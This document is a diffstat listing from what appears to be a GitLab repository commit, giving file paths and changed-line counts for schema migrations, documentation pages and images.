-rw-r--r--db/schema_migrations/202009140913261
-rw-r--r--db/schema_migrations/202009141046421
-rw-r--r--db/schema_migrations/202009141052021
-rw-r--r--db/schema_migrations/202009141551351
-rw-r--r--db/schema_migrations/202009141832271
-rw-r--r--db/schema_migrations/202009141842121
-rw-r--r--db/schema_migrations/202009150442251
-rw-r--r--db/schema_migrations/202009151526411
-rw-r--r--db/schema_migrations/202009151644481
-rw-r--r--db/schema_migrations/202009151648441
-rw-r--r--db/schema_migrations/202009160817491
-rw-r--r--db/structure.sql9361
-rw-r--r--doc/.vale/gitlab/Acronyms.yml20
-rw-r--r--doc/.vale/gitlab/AlertBoxStyle.yml6
-rw-r--r--doc/.vale/gitlab/British.yml3
-rw-r--r--doc/.vale/gitlab/ContractionsDiscard.yml32
-rw-r--r--doc/.vale/gitlab/ContractionsKeep.yml25
-rw-r--r--doc/.vale/gitlab/RelativeLinks.yml2
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt60
-rw-r--r--doc/README.md12
-rw-r--r--doc/administration/audit_events.md82
-rw-r--r--doc/administration/audit_reports.md6
-rw-r--r--doc/administration/auth/README.md1
-rw-r--r--doc/administration/auth/atlassian.md86
-rw-r--r--doc/administration/auth/cognito.md2
-rw-r--r--doc/administration/auth/ldap/google_secure_ldap.md2
-rw-r--r--doc/administration/auth/ldap/index.md18
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md79
-rw-r--r--doc/administration/compliance.md8
-rw-r--r--doc/administration/database_load_balancing.md2
-rw-r--r--doc/administration/environment_variables.md2
-rw-r--r--doc/administration/feature_flags.md6
-rw-r--r--doc/administration/file_hooks.md2
-rw-r--r--doc/administration/geo/disaster_recovery/bring_primary_back.md8
-rw-r--r--doc/administration/geo/disaster_recovery/index.md43
-rw-r--r--doc/administration/geo/disaster_recovery/planned_failover.md8
-rw-r--r--doc/administration/geo/disaster_recovery/promotion_runbook.md269
-rw-r--r--doc/administration/geo/index.md295
-rw-r--r--doc/administration/geo/replication/configuration.md2
-rw-r--r--doc/administration/geo/replication/database.md468
-rw-r--r--doc/administration/geo/replication/datatypes.md62
-rw-r--r--doc/administration/geo/replication/external_database.md233
-rw-r--r--doc/administration/geo/replication/faq.md2
-rw-r--r--doc/administration/geo/replication/geo_validation_tests.md12
-rw-r--r--doc/administration/geo/replication/index.md315
-rw-r--r--doc/administration/geo/replication/location_aware_git_url.md2
-rw-r--r--doc/administration/geo/replication/multiple_servers.md6
-rw-r--r--doc/administration/geo/replication/object_storage.md4
-rw-r--r--doc/administration/geo/replication/security_review.md4
-rw-r--r--doc/administration/geo/replication/troubleshooting.md47
-rw-r--r--doc/administration/geo/replication/updating_the_geo_nodes.md30
-rw-r--r--doc/administration/geo/replication/using_a_geo_server.md2
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md6
-rw-r--r--doc/administration/geo/setup/database.md473
-rw-r--r--doc/administration/geo/setup/external_database.md234
-rw-r--r--doc/administration/geo/setup/index.md32
-rw-r--r--doc/administration/gitaly/index.md25
-rw-r--r--doc/administration/gitaly/praefect.md162
-rw-r--r--doc/administration/img/export_audit_log_v13_4.pngbin0 -> 127518 bytes
-rw-r--r--doc/administration/incoming_email.md10
-rw-r--r--doc/administration/index.md14
-rw-r--r--doc/administration/instance_limits.md51
-rw-r--r--doc/administration/job_artifacts.md2
-rw-r--r--doc/administration/job_logs.md15
-rw-r--r--doc/administration/logs.md50
-rw-r--r--doc/administration/monitoring/gitlab_self_monitoring_project/index.md6
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md71
-rw-r--r--doc/administration/nfs.md28
-rw-r--r--doc/administration/object_storage.md84
-rw-r--r--doc/administration/operations/fast_ssh_key_lookup.md4
-rw-r--r--doc/administration/operations/puma.md14
-rw-r--r--doc/administration/operations/sidekiq_memory_killer.md4
-rw-r--r--doc/administration/packages/container_registry.md14
-rw-r--r--doc/administration/packages/index.md3
-rw-r--r--doc/administration/pages/index.md28
-rw-r--r--doc/administration/pages/source.md8
-rw-r--r--doc/administration/postgresql/external.md3
-rw-r--r--doc/administration/raketasks/doctor.md2
-rw-r--r--doc/administration/raketasks/geo.md2
-rw-r--r--doc/administration/raketasks/ldap.md4
-rw-r--r--doc/administration/raketasks/storage.md6
-rw-r--r--doc/administration/raketasks/uploads/migrate.md9
-rw-r--r--doc/administration/redis/replication_and_failover_external.md5
-rw-r--r--doc/administration/reference_architectures/10k_users.md19
-rw-r--r--doc/administration/reference_architectures/1k_users.md2
-rw-r--r--doc/administration/reference_architectures/25k_users.md19
-rw-r--r--doc/administration/reference_architectures/2k_users.md111
-rw-r--r--doc/administration/reference_architectures/3k_users.md23
-rw-r--r--doc/administration/reference_architectures/50k_users.md19
-rw-r--r--doc/administration/reference_architectures/5k_users.md23
-rw-r--r--doc/administration/reference_architectures/index.md14
-rw-r--r--doc/administration/server_hooks.md14
-rw-r--r--doc/administration/troubleshooting/debug.md4
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md30
-rw-r--r--doc/administration/troubleshooting/linux_cheat_sheet.md8
-rw-r--r--doc/administration/troubleshooting/postgresql.md2
-rw-r--r--doc/administration/troubleshooting/sidekiq.md4
-rw-r--r--doc/administration/troubleshooting/tracing_correlation_id.md4
-rw-r--r--doc/administration/uploads.md10
-rw-r--r--doc/analytics/README.md4
-rw-r--r--doc/api/README.md52
-rw-r--r--doc/api/admin_sidekiq_queues.md4
-rw-r--r--doc/api/api_resources.md7
-rw-r--r--doc/api/audit_events.md6
-rw-r--r--doc/api/boards.md2
-rw-r--r--doc/api/deployments.md34
-rw-r--r--doc/api/epic_links.md3
-rw-r--r--doc/api/epics.md10
-rw-r--r--doc/api/feature_flags.md4
-rw-r--r--doc/api/freeze_periods.md10
-rw-r--r--doc/api/geo_nodes.md28
-rw-r--r--doc/api/graphql/getting_started.md4
-rw-r--r--doc/api/graphql/index.md25
-rw-r--r--doc/api/graphql/reference/gitlab_schema.graphql2021
-rw-r--r--doc/api/graphql/reference/gitlab_schema.json5394
-rw-r--r--doc/api/graphql/reference/index.md2471
-rw-r--r--doc/api/group_milestones.md1
-rw-r--r--doc/api/groups.md123
-rw-r--r--doc/api/issues.md419
-rw-r--r--doc/api/job_artifacts.md4
-rw-r--r--doc/api/markdown.md4
-rw-r--r--doc/api/members.md7
-rw-r--r--doc/api/merge_requests.md6
-rw-r--r--doc/api/milestones.md3
-rw-r--r--doc/api/notes.md4
-rw-r--r--doc/api/oauth2.md8
-rw-r--r--doc/api/openapi/openapi.yaml26
-rw-r--r--doc/api/openapi/v4/version.yaml28
-rw-r--r--doc/api/pages_domains.md34
-rw-r--r--doc/api/pipelines.md4
-rw-r--r--doc/api/project_import_export.md4
-rw-r--r--doc/api/project_level_variables.md24
-rw-r--r--doc/api/project_repository_storage_moves.md18
-rw-r--r--doc/api/project_templates.md4
-rw-r--r--doc/api/projects.md179
-rw-r--r--doc/api/protected_branches.md2
-rw-r--r--doc/api/remote_mirrors.md2
-rw-r--r--doc/api/repository_submodules.md4
-rw-r--r--doc/api/resource_iteration_events.md175
-rw-r--r--doc/api/runners.md42
-rw-r--r--doc/api/search.md3
-rw-r--r--doc/api/services.md2
-rw-r--r--doc/api/settings.md6
-rw-r--r--doc/api/sidekiq_metrics.md2
-rw-r--r--doc/api/snippets.md6
-rw-r--r--doc/api/tags.md30
-rw-r--r--doc/api/templates/dockerfiles.md2
-rw-r--r--doc/api/todos.md24
-rw-r--r--doc/api/users.md23
-rw-r--r--doc/api/v3_to_v4.md4
-rw-r--r--doc/api/visual_review_discussions.md2
-rw-r--r--doc/api/vulnerabilities.md6
-rw-r--r--doc/api/vulnerability_exports.md6
-rw-r--r--doc/api/vulnerability_findings.md6
-rw-r--r--doc/ci/README.md91
-rw-r--r--doc/ci/caching/index.md84
-rw-r--r--doc/ci/ci_cd_for_external_repos/bitbucket_integration.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/github_integration.md4
-rw-r--r--doc/ci/cloud_deployment/index.md2
-rw-r--r--doc/ci/directed_acyclic_graph/index.md4
-rw-r--r--doc/ci/docker/using_docker_build.md28
-rw-r--r--doc/ci/docker/using_docker_images.md48
-rw-r--r--doc/ci/docker/using_kaniko.md22
-rw-r--r--doc/ci/environments/deployment_safety.md4
-rw-r--r--doc/ci/environments/environments_dashboard.md6
-rw-r--r--doc/ci/environments/img/alert_for_environment.pngbin0 -> 16835 bytes
-rw-r--r--doc/ci/environments/incremental_rollouts.md2
-rw-r--r--doc/ci/environments/index.md48
-rw-r--r--doc/ci/environments/protected_environments.md35
-rw-r--r--doc/ci/examples/README.md1
-rw-r--r--doc/ci/examples/artifactory_and_gitlab/index.md11
-rw-r--r--doc/ci/examples/authenticating-with-hashicorp-vault/index.md8
-rw-r--r--doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md7
-rw-r--r--doc/ci/examples/deployment/README.md2
-rw-r--r--doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md8
-rw-r--r--doc/ci/examples/end_to_end_testing_webdriverio/index.md7
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md29
-rw-r--r--doc/ci/examples/php.md20
-rw-r--r--doc/ci/examples/test-and-deploy-python-application-to-heroku.md2
-rw-r--r--doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md26
-rw-r--r--doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md14
-rw-r--r--doc/ci/git_submodules.md4
-rw-r--r--doc/ci/interactive_web_terminal/index.md2
-rw-r--r--doc/ci/introduction/index.md5
-rw-r--r--doc/ci/junit_test_reports.md280
-rw-r--r--doc/ci/large_repositories/index.md15
-rw-r--r--doc/ci/merge_request_pipelines/index.md4
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md4
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md4
-rw-r--r--doc/ci/metrics_reports.md4
-rw-r--r--doc/ci/migration/circleci.md12
-rw-r--r--doc/ci/migration/jenkins.md30
-rw-r--r--doc/ci/multi_project_pipelines.md5
-rw-r--r--doc/ci/parent_child_pipelines.md35
-rw-r--r--doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.pngbin0 -> 124100 bytes
-rw-r--r--doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.pngbin0 -> 241128 bytes
-rw-r--r--doc/ci/pipelines/index.md37
-rw-r--r--doc/ci/pipelines/job_artifacts.md14
-rw-r--r--doc/ci/pipelines/pipeline_architectures.md4
-rw-r--r--doc/ci/pipelines/pipeline_efficiency.md252
-rw-r--r--doc/ci/pipelines/settings.md22
-rw-r--r--doc/ci/quick_start/README.md89
-rw-r--r--doc/ci/review_apps/index.md22
-rw-r--r--doc/ci/runners/README.md310
-rw-r--r--doc/ci/secrets/index.md157
-rw-r--r--doc/ci/services/mysql.md163
-rw-r--r--doc/ci/ssh_keys/README.md11
-rw-r--r--doc/ci/troubleshooting.md239
-rw-r--r--doc/ci/unit_test_reports.md293
-rw-r--r--doc/ci/variables/README.md67
-rw-r--r--doc/ci/variables/predefined_variables.md7
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md16
-rw-r--r--doc/ci/yaml/README.md350
-rw-r--r--doc/development/README.md4
-rw-r--r--doc/development/adding_database_indexes.md68
-rw-r--r--doc/development/adding_service_component.md89
-rw-r--r--doc/development/api_graphql_styleguide.md100
-rw-r--r--doc/development/api_styleguide.md8
-rw-r--r--doc/development/application_limits.md88
-rw-r--r--doc/development/approval_rules.md2
-rw-r--r--doc/development/architecture.md10
-rw-r--r--doc/development/auto_devops.md3
-rw-r--r--doc/development/changelog.md8
-rw-r--r--doc/development/chatops_on_gitlabcom.md2
-rw-r--r--doc/development/cicd/index.md60
-rw-r--r--doc/development/cicd/templates.md101
-rw-r--r--doc/development/code_review.md12
-rw-r--r--doc/development/contributing/index.md10
-rw-r--r--doc/development/contributing/issue_workflow.md44
-rw-r--r--doc/development/contributing/merge_request_workflow.md3
-rw-r--r--doc/development/creating_enums.md34
-rw-r--r--doc/development/database/database_reviewer_guidelines.md12
-rw-r--r--doc/development/database/strings_and_the_text_data_type.md3
-rw-r--r--doc/development/database_debugging.md2
-rw-r--r--doc/development/distributed_tracing.md3
-rw-r--r--doc/development/documentation/feature_flags.md182
-rw-r--r--doc/development/documentation/index.md122
-rw-r--r--doc/development/documentation/site_architecture/index.md9
-rw-r--r--doc/development/documentation/site_architecture/release_process.md5
-rw-r--r--doc/development/documentation/structure.md232
-rw-r--r--doc/development/documentation/styleguide.md1147
-rw-r--r--doc/development/documentation/workflow.md2
-rw-r--r--doc/development/ee_features.md14
-rw-r--r--doc/development/elasticsearch.md6
-rw-r--r--doc/development/experiment_guide/index.md2
-rw-r--r--doc/development/fe_guide/development_process.md2
-rw-r--r--doc/development/fe_guide/frontend_faq.md2
-rw-r--r--doc/development/fe_guide/graphql.md228
-rw-r--r--doc/development/fe_guide/style/index.md4
-rw-r--r--doc/development/fe_guide/vuex.md17
-rw-r--r--doc/development/feature_flags/controls.md7
-rw-r--r--doc/development/feature_flags/development.md140
-rw-r--r--doc/development/feature_flags/index.md53
-rw-r--r--doc/development/feature_flags/process.md7
-rw-r--r--doc/development/features_inside_dot_gitlab.md16
-rw-r--r--doc/development/geo.md2
-rw-r--r--doc/development/geo/framework.md88
-rw-r--r--doc/development/gotchas.md15
-rw-r--r--doc/development/graphql_guide/pagination.md142
-rw-r--r--doc/development/i18n/externalization.md92
-rw-r--r--doc/development/i18n/proofreader.md2
-rw-r--r--doc/development/import_export.md5
-rw-r--r--doc/development/import_project.md7
-rw-r--r--doc/development/integrations/secure.md8
-rw-r--r--doc/development/integrations/secure_partner_integration.md6
-rw-r--r--doc/development/internal_api.md81
-rw-r--r--doc/development/licensed_feature_availability.md6
-rw-r--r--doc/development/merge_request_performance_guidelines.md2
-rw-r--r--doc/development/migration_style_guide.md62
-rw-r--r--doc/development/packages.md4
-rw-r--r--doc/development/pipelines.md134
-rw-r--r--doc/development/redis.md147
-rw-r--r--doc/development/repository_mirroring.md2
-rw-r--r--doc/development/secure_coding_guidelines.md10
-rw-r--r--doc/development/shell_scripting_guide/index.md4
-rw-r--r--doc/development/sidekiq_style_guide.md73
-rw-r--r--doc/development/telemetry/snowplow.md23
-rw-r--r--doc/development/telemetry/usage_ping.md267
-rw-r--r--doc/development/testing_guide/best_practices.md279
-rw-r--r--doc/development/testing_guide/end_to_end/beginners_guide.md4
-rw-r--r--doc/development/testing_guide/end_to_end/best_practices.md146
-rw-r--r--doc/development/testing_guide/end_to_end/rspec_metadata_tests.md7
-rw-r--r--doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md259
-rw-r--r--doc/development/testing_guide/frontend_testing.md68
-rw-r--r--doc/development/testing_guide/index.md2
-rw-r--r--doc/development/testing_guide/review_apps.md7
-rw-r--r--doc/development/uploads.md74
-rw-r--r--doc/development/what_requires_downtime.md6
-rw-r--r--doc/development/windows.md2
-rw-r--r--doc/getting-started/subscription.md2
-rw-r--r--doc/gitlab-basics/create-project.md2
-rw-r--r--doc/gitlab-basics/create-your-ssh-keys.md8
-rw-r--r--doc/gitlab-basics/start-using-git.md3
-rw-r--r--doc/gitlab-geo/README.md4
-rw-r--r--doc/gitlab-geo/database.md4
-rw-r--r--doc/gitlab-geo/database_source.md4
-rw-r--r--doc/install/aws/index.md54
-rw-r--r--doc/install/azure/index.md20
-rw-r--r--doc/install/docker.md14
-rw-r--r--doc/install/installation.md25
-rw-r--r--doc/install/postgresql_extensions.md4
-rw-r--r--doc/install/requirements.md22
-rw-r--r--doc/integration/README.md3
-rw-r--r--doc/integration/elasticsearch.md639
-rw-r--r--doc/integration/external-issue-tracker.md3
-rw-r--r--doc/integration/gitpod.md74
-rw-r--r--doc/integration/img/gitpod_button_project_page_v13_4.pngbin0 -> 25773 bytes
-rw-r--r--doc/integration/img/gitpod_web_interface_v13_4.pngbin0 -> 99925 bytes
-rw-r--r--doc/integration/img/jira_dev_panel_jira_setup_1-1.pngbin13286 -> 0 bytes
-rw-r--r--doc/integration/jira_development_panel.md21
-rw-r--r--doc/integration/kerberos.md2
-rw-r--r--doc/integration/omniauth.md11
-rw-r--r--doc/integration/salesforce.md2
-rw-r--r--doc/operations/feature_flags.md48
-rw-r--r--doc/operations/incident_management/alert_details.md200
-rw-r--r--doc/operations/incident_management/alertdetails.md194
-rw-r--r--doc/operations/incident_management/alerts.md18
-rw-r--r--doc/operations/incident_management/generic_alerts.md126
-rw-r--r--doc/operations/incident_management/img/alert_list_v13_1.png (renamed from doc/user/project/operations/img/alert_list_v13_1.png)bin38265 -> 38265 bytes
-rw-r--r--doc/operations/incident_management/img/incident_alert_details_v13_4.pngbin0 -> 27106 bytes
-rw-r--r--doc/operations/incident_management/img/incident_list_sort_v13_3.pngbin39524 -> 0 bytes
-rw-r--r--doc/operations/incident_management/img/incident_list_v13_4.pngbin0 -> 16735 bytes
-rw-r--r--doc/operations/incident_management/img/new_incident_create_v13_4.pngbin0 -> 12106 bytes
-rw-r--r--doc/operations/incident_management/incidents.md73
-rw-r--r--doc/operations/incident_management/index.md27
-rw-r--r--doc/operations/incident_management/status_page.md6
-rw-r--r--doc/operations/index.md2
-rw-r--r--doc/operations/metrics/alerts.md18
-rw-r--r--doc/operations/metrics/dashboards/variables.md9
-rw-r--r--doc/operations/metrics/embed.md19
-rw-r--r--doc/operations/metrics/img/embedded_metrics_markdown_v12_8.pngbin13818 -> 0 bytes
-rw-r--r--doc/operations/metrics/img/embedded_metrics_rendered_v12_8.pngbin66002 -> 0 bytes
-rw-r--r--doc/operations/metrics/img/embedded_metrics_rendered_v13_4.pngbin0 -> 24072 bytes
-rw-r--r--doc/operations/metrics/index.md4
-rw-r--r--doc/operations/product_analytics.md4
-rw-r--r--doc/policy/maintenance.md7
-rw-r--r--doc/push_rules/push_rules.md2
-rw-r--r--doc/raketasks/README.md2
-rw-r--r--doc/raketasks/backup_restore.md66
-rw-r--r--doc/raketasks/import.md24
-rw-r--r--doc/security/README.md2
-rw-r--r--doc/security/reset_root_password.md56
-rw-r--r--doc/security/reset_user_password.md81
-rw-r--r--doc/ssh/README.md4
-rw-r--r--doc/subscriptions/gitlab_com/index.md315
-rw-r--r--doc/subscriptions/index.md534
-rw-r--r--doc/subscriptions/self_managed/index.md318
-rw-r--r--doc/system_hooks/system_hooks.md2
-rw-r--r--doc/topics/application_development_platform/index.md8
-rw-r--r--doc/topics/autodevops/customize.md24
-rw-r--r--doc/topics/autodevops/index.md24
-rw-r--r--doc/topics/autodevops/quick_start_guide.md20
-rw-r--r--doc/topics/autodevops/requirements.md10
-rw-r--r--doc/topics/autodevops/stages.md8
-rw-r--r--doc/topics/autodevops/upgrading_chart.md6
-rw-r--r--doc/topics/git/how_to_install_git/index.md22
-rw-r--r--doc/topics/git/lfs/index.md67
-rw-r--r--doc/topics/git/lfs/migrate_to_git_lfs.md2
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/index.md12
-rw-r--r--doc/topics/gitlab_flow.md15
-rw-r--r--doc/topics/offline/quick_start_guide.md6
-rw-r--r--doc/topics/web_application_firewall/quick_start_guide.md6
-rw-r--r--doc/university/README.md2
-rw-r--r--doc/update/mysql_to_postgresql.md4
-rw-r--r--doc/update/upgrading_from_source.md27
-rw-r--r--doc/user/admin_area/activating_deactivating_users.md4
-rw-r--r--doc/user/admin_area/analytics/convdev.md5
-rw-r--r--doc/user/admin_area/analytics/dev_ops_report.md29
-rw-r--r--doc/user/admin_area/analytics/img/cohorts_v13_4.pngbin0 -> 92729 bytes
-rw-r--r--doc/user/admin_area/analytics/img/dev_ops_report_v13_4.pngbin0 -> 167541 bytes
-rw-r--r--doc/user/admin_area/analytics/index.md10
-rw-r--r--doc/user/admin_area/analytics/user_cohorts.md29
-rw-r--r--doc/user/admin_area/blocking_unblocking_users.md4
-rw-r--r--doc/user/admin_area/credentials_inventory.md19
-rw-r--r--doc/user/admin_area/geo_nodes.md2
-rw-r--r--doc/user/admin_area/img/credentials_inventory_v13_2.pngbin96526 -> 0 bytes
-rw-r--r--doc/user/admin_area/img/credentials_inventory_v13_4.pngbin0 -> 28945 bytes
-rw-r--r--doc/user/admin_area/index.md44
-rw-r--r--doc/user/admin_area/license.md2
-rw-r--r--doc/user/admin_area/monitoring/convdev.md4
-rw-r--r--doc/user/admin_area/monitoring/dev_ops_report.md5
-rw-r--r--doc/user/admin_area/monitoring/dev_ops_score.md5
-rw-r--r--doc/user/admin_area/monitoring/health_check.md2
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md4
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md26
-rw-r--r--doc/user/admin_area/settings/external_authorization.md10
-rw-r--r--doc/user/admin_area/settings/img/domain_denylist.png (renamed from doc/user/admin_area/settings/img/domain_blacklist.png)bin13601 -> 13601 bytes
-rw-r--r--doc/user/admin_area/settings/index.md8
-rw-r--r--doc/user/admin_area/settings/sign_up_restrictions.md28
-rw-r--r--doc/user/admin_area/settings/usage_statistics.md9
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md4
-rw-r--r--doc/user/admin_area/user_cohorts.md4
-rw-r--r--doc/user/analytics/code_review_analytics.md35
-rw-r--r--doc/user/analytics/img/delete_value_stream_v13.4.pngbin0 -> 29439 bytes
-rw-r--r--doc/user/analytics/img/merge_request_analytics_v13_3.pngbin54156 -> 0 bytes
-rw-r--r--doc/user/analytics/img/mr_throughput_chart_v13_3.pngbin0 -> 62510 bytes
-rw-r--r--doc/user/analytics/img/mr_throughput_table_v13_3.pngbin0 -> 55637 bytes
-rw-r--r--doc/user/analytics/index.md9
-rw-r--r--doc/user/analytics/merge_request_analytics.md60
-rw-r--r--doc/user/analytics/value_stream_analytics.md56
-rw-r--r--doc/user/application_security/api_fuzzing/index.md739
-rw-r--r--doc/user/application_security/configuration/index.md40
-rw-r--r--doc/user/application_security/container_scanning/index.md118
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md8
-rw-r--r--doc/user/application_security/cve_id_request.md69
-rw-r--r--doc/user/application_security/dast/index.md250
-rw-r--r--doc/user/application_security/dependency_scanning/analyzers.md27
-rw-r--r--doc/user/application_security/dependency_scanning/index.md54
-rw-r--r--doc/user/application_security/img/adding_a_dismissal_reason_v13_0.pngbin35841 -> 0 bytes
-rw-r--r--doc/user/application_security/img/adding_a_dismissal_reason_v13_4.pngbin0 -> 25574 bytes
-rw-r--r--doc/user/application_security/img/create_issue_from_vulnerability_v13_3.pngbin0 -> 5079 bytes
-rw-r--r--doc/user/application_security/img/create_issue_with_list_hover.pngbin36833 -> 0 bytes
-rw-r--r--doc/user/application_security/img/create_mr_from_vulnerability_v13_4.pngbin0 -> 33743 bytes
-rw-r--r--doc/user/application_security/img/cve_id_request_button.pngbin0 -> 5220 bytes
-rw-r--r--doc/user/application_security/img/cve_request_communication.pngbin0 -> 45402 bytes
-rw-r--r--doc/user/application_security/img/cve_request_communication_publication.pngbin0 -> 66617 bytes
-rw-r--r--doc/user/application_security/img/interacting_with_vulnerability_v13_0.pngbin29141 -> 0 bytes
-rw-r--r--doc/user/application_security/img/interacting_with_vulnerability_v13_3.pngbin0 -> 54508 bytes
-rw-r--r--doc/user/application_security/img/new_cve_request_issue.pngbin0 -> 96795 bytes
-rw-r--r--doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.pngbin0 -> 99883 bytes
-rw-r--r--doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.pngbin0 -> 82526 bytes
-rw-r--r--doc/user/application_security/img/vulnerability-check_v13_0.pngbin30789 -> 0 bytes
-rw-r--r--doc/user/application_security/img/vulnerability-check_v13_4.pngbin0 -> 75105 bytes
-rw-r--r--doc/user/application_security/index.md113
-rw-r--r--doc/user/application_security/offline_deployments/index.md10
-rw-r--r--doc/user/application_security/sast/analyzers.md32
-rw-r--r--doc/user/application_security/sast/index.md98
-rw-r--r--doc/user/application_security/secret_detection/index.md8
-rw-r--r--doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.pngbin36339 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.pngbin0 -> 42099 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.pngbin0 -> 38731 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.pngbin5563 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.pngbin0 -> 10596 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.pngbin0 -> 62615 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.pngbin58332 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.pngbin73101 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.pngbin0 -> 51201 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gifbin548942 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.pngbin0 -> 168847 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.pngbin74381 -> 0 bytes
-rw-r--r--doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.pngbin0 -> 79904 bytes
-rw-r--r--doc/user/application_security/security_dashboard/index.md30
-rw-r--r--doc/user/application_security/terminology/index.md171
-rw-r--r--doc/user/application_security/threat_monitoring/index.md51
-rw-r--r--doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.pngbin41387 -> 0 bytes
-rw-r--r--doc/user/application_security/vulnerabilities/index.md34
-rw-r--r--doc/user/clusters/agent/index.md329
-rw-r--r--doc/user/clusters/applications.md20
-rw-r--r--doc/user/compliance/license_compliance/img/license-check_v13_4.pngbin0 -> 74407 bytes
-rw-r--r--doc/user/compliance/license_compliance/index.md54
-rw-r--r--doc/user/discussions/index.md2
-rw-r--r--doc/user/feature_flags.md43
-rw-r--r--doc/user/gitlab_com/index.md66
-rw-r--r--doc/user/group/bulk_editing/index.md3
-rw-r--r--doc/user/group/clusters/index.md8
-rw-r--r--doc/user/group/epics/index.md10
-rw-r--r--doc/user/group/epics/manage_epics.md24
-rw-r--r--doc/user/group/index.md32
-rw-r--r--doc/user/group/iterations/index.md8
-rw-r--r--doc/user/group/repositories_analytics/index.md67
-rw-r--r--doc/user/group/saml_sso/group_managed_accounts.md7
-rw-r--r--doc/user/group/saml_sso/index.md12
-rw-r--r--doc/user/group/saml_sso/scim_setup.md37
-rw-r--r--doc/user/group/settings/img/import_panel_v13_1.pngbin23446 -> 0 bytes
-rw-r--r--doc/user/group/settings/img/import_panel_v13_4.pngbin0 -> 23373 bytes
-rw-r--r--doc/user/group/settings/import_export.md4
-rw-r--r--doc/user/group/subgroups/index.md4
-rw-r--r--doc/user/img/feature_flags_history_note_info_v13_2.pngbin0 -> 67034 bytes
-rw-r--r--doc/user/img/version_history_notes_collapsed_v13_2.pngbin0 -> 27528 bytes
-rw-r--r--doc/user/index.md16
-rw-r--r--doc/user/infrastructure/index.md34
-rw-r--r--doc/user/instance_statistics/convdev.md5
-rw-r--r--doc/user/instance_statistics/dev_ops_score.md27
-rw-r--r--doc/user/instance_statistics/img/cohorts.pngbin65996 -> 0 bytes
-rw-r--r--doc/user/instance_statistics/img/dev_ops_score_v12_6.pngbin199953 -> 0 bytes
-rw-r--r--doc/user/instance_statistics/img/instance_statistics_button_v12_6.pngbin4417 -> 0 bytes
-rw-r--r--doc/user/instance_statistics/index.md15
-rw-r--r--doc/user/instance_statistics/user_cohorts.md29
-rw-r--r--doc/user/markdown.md9
-rw-r--r--doc/user/packages/composer_repository/index.md31
-rw-r--r--doc/user/packages/conan_repository/index.md96
-rw-r--r--doc/user/packages/container_registry/index.md15
-rw-r--r--doc/user/packages/maven_repository/index.md30
-rw-r--r--doc/user/packages/npm_registry/index.md7
-rw-r--r--doc/user/packages/package_registry/index.md12
-rw-r--r--doc/user/packages/pypi_repository/index.md62
-rw-r--r--doc/user/packages/workflows/project_registry.md7
-rw-r--r--doc/user/permissions.md23
-rw-r--r--doc/user/profile/notifications.md5
-rw-r--r--doc/user/profile/personal_access_tokens.md28
-rw-r--r--doc/user/profile/preferences.md8
-rw-r--r--doc/user/project/bulk_editing.md3
-rw-r--r--doc/user/project/canary_deployments.md6
-rw-r--r--doc/user/project/clusters/add_eks_clusters.md2
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md30
-rw-r--r--doc/user/project/clusters/index.md6
-rw-r--r--doc/user/project/clusters/securing.md12
-rw-r--r--doc/user/project/clusters/serverless/index.md2
-rw-r--r--doc/user/project/code_intelligence.md27
-rw-r--r--doc/user/project/code_owners.md100
-rw-r--r--doc/user/project/deploy_boards.md6
-rw-r--r--doc/user/project/file_lock.md262
-rw-r--r--doc/user/project/img/code_intelligence_v13_1.pngbin26799 -> 0 bytes
-rw-r--r--doc/user/project/img/code_intelligence_v13_4.pngbin0 -> 29788 bytes
-rw-r--r--doc/user/project/img/code_owners_invite_members_v13_4.pngbin0 -> 55189 bytes
-rw-r--r--doc/user/project/img/code_owners_members_v13_4.pngbin0 -> 46547 bytes
-rw-r--r--doc/user/project/img/file_lock_merge_request_error_message.pngbin8219 -> 0 bytes
-rw-r--r--doc/user/project/img/file_lock_repository_view.pngbin9805 -> 0 bytes
-rw-r--r--doc/user/project/img/lfs_locked_files_v13_2.pngbin0 -> 21405 bytes
